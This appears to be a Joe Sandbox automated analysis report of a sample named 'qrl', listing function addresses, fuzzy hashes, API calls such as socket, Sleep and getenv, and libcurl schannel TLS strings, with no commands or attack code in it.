Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: CleanupStartup
String ID:
API String ID: 915672949-0
Opcode ID: 72c760de49ab48828686377a1c853ca00c529ad15a0c183d6751af7746779a40
Instruction ID: 6b68e48dfef178663718fe0f185cdf171dfd9397380e9ff997c1b783ffb03f5d
Opcode Fuzzy Hash: 72c760de49ab48828686377a1c853ca00c529ad15a0c183d6751af7746779a40
Instruction Fuzzy Hash: F21182F07052119BE7386BE6E7CA7A57694AB14748F1C103AE9D086386E739CD888773

Function 00DD1D00 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 00DD1D0F
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 00DD1D2A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: EnvironmentExpandStringsgetenv
String ID:
API String ID: 4247756900-0
Opcode ID: fcda073c0d61d76abd4fd2dd0db52f7e8352aed46f5ebbe7ea68747138ece7c3
Instruction ID: 51ff5f1d9a3f341bd6783d283af104de822c1b806cd211710c0ef887eb9babf4
Opcode Fuzzy Hash: fcda073c0d61d76abd4fd2dd0db52f7e8352aed46f5ebbe7ea68747138ece7c3
Instruction Fuzzy Hash: 16E0D8F190419027E7316268BD49BDB7D599B81760F0C0434E5C485288E66988D4C3A3

Function 00DDB4E0 Relevance: 3.0, APIs: 2, Instructions: 15sleepnetworkCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00DD3D9E,?,00DD3D9E,00000000), ref: 00DDB4EE
WSASetLastError.WS2_32(00002726,?,00DD3D9E,00000000), ref: 00DDB4FB

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 49c4fbd8a6b34d967bd8b986257a117676cbcb520a31a170d91c4fd5bb951aef
Instruction ID: 7109d93f005cc8e210fca1ca048e8b05bfabbc1ae37a8ee188e13fe5fd4a6f9e
Opcode Fuzzy Hash: 49c4fbd8a6b34d967bd8b986257a117676cbcb520a31a170d91c4fd5bb951aef
Instruction Fuzzy Hash: 31D02230A0B131CB82341BB8BA4C88BAA989B08BF43070223BCA1D33C8D760CC40C3B0

Function 00F17B70 Relevance: 2.5, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00F17BB2
memset.MSVCRT ref: 00F17BCC

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: mallocmemset
String ID:
API String ID: 2882185209-0
Opcode ID: 7ee5891b532af38d0361001863f0076657db11326944eafddfceee7ffe50955d
Instruction ID: cfbfbfbd73dfaa45e8fff31ea62935c31e392d3702f62cd2f48b345500486b9f
Opcode Fuzzy Hash: 7ee5891b532af38d0361001863f0076657db11326944eafddfceee7ffe50955d
Instruction Fuzzy Hash: ED012CB1A0D3118BD710FF5999C029BB7F4BBD4764F15896DE88987309D334C884AB92

Function 00DD4FF0 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00DDA76E), ref: 00DD502B

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: e68bd008b74ffb0caeec244b418af7a356413513154efaa7a367754c068fed17
Instruction ID: 1e0536bef41eb56dad05bd16469668c730676af14e32d0402149a24e7a164ae9
Opcode Fuzzy Hash: e68bd008b74ffb0caeec244b418af7a356413513154efaa7a367754c068fed17
Instruction Fuzzy Hash: B301AD75A00512ABE6311B20EC0ABDABB61FF45356F080022F41851329EB737820CBF2

Function 00DE4A21 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

realloc.MSVCRT(?,?), ref: 00DE6E44

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: realloc
String ID:
API String ID: 471065373-0
Opcode ID: e687685d57680847dc8b6d5e48e8bc39d9a3b9219ce0f766e3f33874abecb363
Instruction ID: 923188b2c8259645a73a8613e90877073b75f4dffba24b2b4a7980cf378620e1
Opcode Fuzzy Hash: e687685d57680847dc8b6d5e48e8bc39d9a3b9219ce0f766e3f33874abecb363
Instruction Fuzzy Hash: 7EF08279A00A929BE7656E26C980365F695FB14B81F144135EA9997280D334E8608BE0

Function 00DDA740 Relevance: 1.5, APIs: 1, Instructions: 22networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000017,00000002,00000000), ref: 00DDA751

Part of subcall function 00DD4FF0: closesocket.WS2_32(00DDA76E), ref: 00DD502B

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: closesocketsocket
String ID:
API String ID: 2760038618-0
Opcode ID: ff0709c8d64a64cf9b45c7baba2372a2a4a8f03c66a54200621b58f04b0a0324
Instruction ID: baafc0e51a5f69c77cca54e484117dee5c1adede4735a1bf3f926922e0bd8ee9
Opcode Fuzzy Hash: ff0709c8d64a64cf9b45c7baba2372a2a4a8f03c66a54200621b58f04b0a0324
Instruction Fuzzy Hash: B1E048742011407BFA3C8B34EEDAB283322AB40725F144629F57A991D4DBB958C84B31

Function 00DD3BD0 Relevance: 1.5, APIs: 1, Instructions: 17networkCOMMON

Download Yara Rule

APIs

WSACleanup.WS2_32 ref: 00DD3BFA

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: Cleanup
String ID:
API String ID: 99945797-0
Opcode ID: 2d056db13ad536f5e38385c35377204d13d8ca75a5813a55284e8cf835549822
Instruction ID: 4de9218add63118da8b5a4e750ba57d82c667749267f7ba9abad42ff4a93ea9a
Opcode Fuzzy Hash: 2d056db13ad536f5e38385c35377204d13d8ca75a5813a55284e8cf835549822
Instruction Fuzzy Hash: 71E012645042815ACB387BB9F6077DCFAD1EB08344FA9043AF511D5256DE648484CB32

Function 00E13F40 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 00E13F50

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: f0f4b34350092fcee3744b9f4b8006edf5daac5d6da5ff93cceb97eef11dc6af
Instruction ID: ae016d7f24b744ff9554bdb68fb40e68c9ded443586efb3e19cd981c5563cb86
Opcode Fuzzy Hash: f0f4b34350092fcee3744b9f4b8006edf5daac5d6da5ff93cceb97eef11dc6af
Instruction Fuzzy Hash: 32D01231344781ABEF295A744C16B1975D06F84B12F340A2CF733D80D0E791D4605605

Function 00DDC470 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E), ref: 00DDC48B

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: f77980ded0429df86c56daf8e525c21837b247f8eca7951a23d3e4a586cf5253
Instruction ID: 3ba9b1da54d53744a620f41623917a9f367e3b03a8d7e0cabf0abdb83c782015
Opcode Fuzzy Hash: f77980ded0429df86c56daf8e525c21837b247f8eca7951a23d3e4a586cf5253
Instruction Fuzzy Hash: 48C012F1108600EFD70C4B24D549A9EB7E9DB48266F01442CB056C2140EB759490CF16

Function 00DDC110 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(00000000,00DD3C05), ref: 00DDC11A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 36040b5129985d238831cbea42dc7fb1b87b7d1ad41f2696dd0f7ac976da7ecf
Instruction ID: ac9af2e247501c0efe001f37c9d4c7b28b14b309742fdfa1c261a6cf2c7084c4
Opcode Fuzzy Hash: 36040b5129985d238831cbea42dc7fb1b87b7d1ad41f2696dd0f7ac976da7ecf
Instruction Fuzzy Hash: 06C04CF4125211ABD7288F31E688785FBA8A718748F6442259520C6298CBB984C4CF10

Function 00F16950 Relevance: 1.4, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00F16A83

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: cb4efc79d40ab94cb35e9df010415aedd73664a2e1fc19382fb6da3695ecf6fd
Instruction ID: baf1f5a760aa5de4c950f233fabdbf0b78a62399e5f18dcd807128146dd198ea
Opcode Fuzzy Hash: cb4efc79d40ab94cb35e9df010415aedd73664a2e1fc19382fb6da3695ecf6fd
Instruction Fuzzy Hash: 095115B5A043018FCB18CF19C48069ABBE1FF88314F55C9ADE8888B315E774E949DF92

Function 00DF83F0 Relevance: 1.4, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

calloc.MSVCRT(00000001,00001128,?,?,00000000,00DD3C49,?,00000000,00DC9B7E), ref: 00DF83FA

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: calloc
String ID:
API String ID: 2635317215-0
Opcode ID: 11c1283eae03758c3f23832f4eb3d994db3430a3ef8d54c2d07bb0c821db7cb2
Instruction ID: 381ef69709ce797bd163fa4159d1bf4f8da8e5452148802c1a4f603e7acee328
Opcode Fuzzy Hash: 11c1283eae03758c3f23832f4eb3d994db3430a3ef8d54c2d07bb0c821db7cb2
Instruction Fuzzy Hash: 964166F45407018BE7309F24ED497A77AA0AF0031DF090838F6AE56291DB7AA558DB73

Function 00E011C0 Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

malloc.MSVCRT(0000F083), ref: 00E011D4

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 3cc22a7bb9f5ae2ae290141865c8ecb9cd57b917dd1893cb945046a9a362522f
Instruction ID: fa0fa7b66295b58f235bc1e925a5c7aa0409b9814b56e4905dcf9f0c571a7480
Opcode Fuzzy Hash: 3cc22a7bb9f5ae2ae290141865c8ecb9cd57b917dd1893cb945046a9a362522f
Instruction Fuzzy Hash: 83D05E704096118BEBB08BB8F9003D777E0AF80358F04046AE1999A584D738ECC19791

Non-executed Functions

Function 00DE9D10 Relevance: 318.9, APIs: 79, Strings: 102, Instructions: 2142COMMON

Download Yara Rule

Strings

schannel: failed to receive handshake, SSL/TLS connection failed, xrefs: 00DEA3AF
schannel: failed to retrieve remote cert context, xrefs: 00DEB9EB
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00DEA8DA
schannel: a client certificate has been requested, xrefs: 00DEA685
schannel: encrypted data buffer: offset %zu length %zu, xrefs: 00DE9F88
CALG_3DES_112, xrefs: 00DEB3E6
CALG_SSL3_MASTER, xrefs: 00DEB53E
CALG_CYLINK_MEK, xrefs: 00DEB50A
LocalMachine, xrefs: 00DEB7AE
schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 00DEA865
CALG_AES_192, xrefs: 00DEB676
schannel: failed to receive handshake, need more data, xrefs: 00DEA305
schannel: incremented credential handle refcount = %d, xrefs: 00DEAA64
CALG_MD2, xrefs: 00DEB2EF
CALG_MD4, xrefs: 00DEB305
Users, xrefs: 00DEB7F3
CALG_RC2, xrefs: 00DEB428
CALG_SEAL, xrefs: 00DEB454
schannel: SSL/TLS connection with %s port %hu (step 2/3), xrefs: 00DE9E84
schannel: SSL/TLS connection with %s port %hu (step 3/3), xrefs: 00DEA994
schannel: old credential handle is stale, removing, xrefs: 00DEB8BE
CALG_DH_SF, xrefs: 00DEB46E
schannel: failed to send next handshake data: sent %zd of %lu bytes, xrefs: 00DEA4CA
CALG_RSA_KEYX, xrefs: 00DEB3BA
schannel: SNI or certificate check failed: %s, xrefs: 00DEA491, 00DEAF52
CALG_RC4, xrefs: 00DEB43E
Unrecognized parameter passed via CURLOPT_SSLVERSION, xrefs: 00DEB0AE
CALG_TLS1_MASTER, xrefs: 00DEB5DA
:, xrefs: 00DEB77E
CALG_SSL2_MASTER, xrefs: 00DEB5C0
SSL: public key does not match pinned public key!, xrefs: 00DEA5B5, 00DEA70C
schannel: disabled server certificate revocation checks, xrefs: 00DEAD2E
schannel: failed to store credential handle, xrefs: 00DEB900
schannel: encrypted data length: %lu, xrefs: 00DEA272
CALG_DESX, xrefs: 00DEB412
CALG_SKIPJACK, xrefs: 00DEB4D6
schannel: initial InitializeSecurityContext failed: %s, xrefs: 00DEAD88, 00DEAF80
Unable to set ciphers to passed via SSL_CONN_CONFIG, xrefs: 00DEBD2B
CALG_AES_128, xrefs: 00DEB65C
schannel: verifyhost setting prevents Schannel from comparing the supplied target name with the subject names in server certificates., xrefs: 00DEAE64
CALG_HASH_REPLACE_OWF, xrefs: 00DEB642
SSL: failed retrieving public key from server certificate, xrefs: 00DEA723
schannel: Failed to get certificate location for %s, xrefs: 00DEBCC3
CALG_TEK, xrefs: 00DEB4F0
CALG_SCHANNEL_MASTER_HASH, xrefs: 00DEB558
schannel: SSL/TLS connection with %s port %hu (step 1/3), xrefs: 00DEA843
schannel: failed to setup sequence detection, xrefs: 00DEADA3
CALG_SHA1, xrefs: 00DEB34C
CALG_SHA_256, xrefs: 00DEB6C4
CALG_RC5, xrefs: 00DEB5F4
schannel: checking server certificate revocation, xrefs: 00DEAE45
schannel: stored credential handle in session cache, xrefs: 00DEB946
CALG_MAC, xrefs: 00DEB362
schannel: sending initial handshake data: sending %lu bytes..., xrefs: 00DEABC4
CALG_AGREEDKEY_ANY, xrefs: 00DEB4A2
CALG_MD5, xrefs: 00DEB31B
CALG_SHA, xrefs: 00DEB331
CurrentUserGroupPolicy, xrefs: 00DEB80A
CALG_PCT1_MASTER, xrefs: 00DEB5A6
CurrentUser, xrefs: 00DEB797
Microsoft Unified Security Protocol Provider, xrefs: 00DEBC07
schannel: TLS 1.3 is not yet supported, xrefs: 00DEB08A
CALG_HMAC, xrefs: 00DEB60E
CALG_TLS1PRF, xrefs: 00DEB628
CurrentService, xrefs: 00DEB7C5
schannel: sent initial handshake data: sent %zd bytes, xrefs: 00DEAEF0
schannel: using IP address, SNI is not supported by OS., xrefs: 00DEAAB9
CALG_NO_SIGN, xrefs: 00DEB3A4
CALG_AES, xrefs: 00DEB6AA
schannel: failed to setup memory allocation, xrefs: 00DEAE17
schannel: failed to setup stream orientation, xrefs: 00DEADDD
schannel: Failed to open cert store %x %s, last error is %x, xrefs: 00DEBCF6
CALG_DSS_SIGN, xrefs: 00DEB38E
schannel: next InitializeSecurityContext failed: %s, xrefs: 00DEA69A, 00DEA6CC
CALG_AES_256, xrefs: 00DEB690
select/poll on SSL/TLS socket, errno: %d, xrefs: 00DEA7E4
LocalMachineGroupPolicy, xrefs: 00DEB821
CALG_SCHANNEL_MAC_KEY, xrefs: 00DEB572
Services, xrefs: 00DEB7DC
CALG_SCHANNEL_ENC_KEY, xrefs: 00DEB58C
CALG_SHA_384, xrefs: 00DEB6DE
schannel: re-using existing credential handle, xrefs: 00DEAA42
schannel: failed to setup replay detection, xrefs: 00DEADF9
schannel: encrypted data got %zd, xrefs: 00DEA348
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 00DEB91B
schannel: unable to re-allocate memory, xrefs: 00DEA381
schannel: SSL/TLS handshake complete, xrefs: 00DEA425
LocalMachineEnterprise, xrefs: 00DEB838
schannel: failed to setup confidentiality, xrefs: 00DEADBE
CALG_DES, xrefs: 00DEB3D0
schannel: Failed to read remote certificate context: %s, xrefs: 00DEA58B
schannel: received incomplete message, need more data, xrefs: 00DEA653
SSL/TLS connection timeout, xrefs: 00DEA818
CALG_DH_EPHEM, xrefs: 00DEB488
CALG_SHA_512, xrefs: 00DEB6F8
CALG_HUGHES_MD5, xrefs: 00DEB4BC
schannel: AcquireCredentialsHandle failed: %s, xrefs: 00DEBC3E
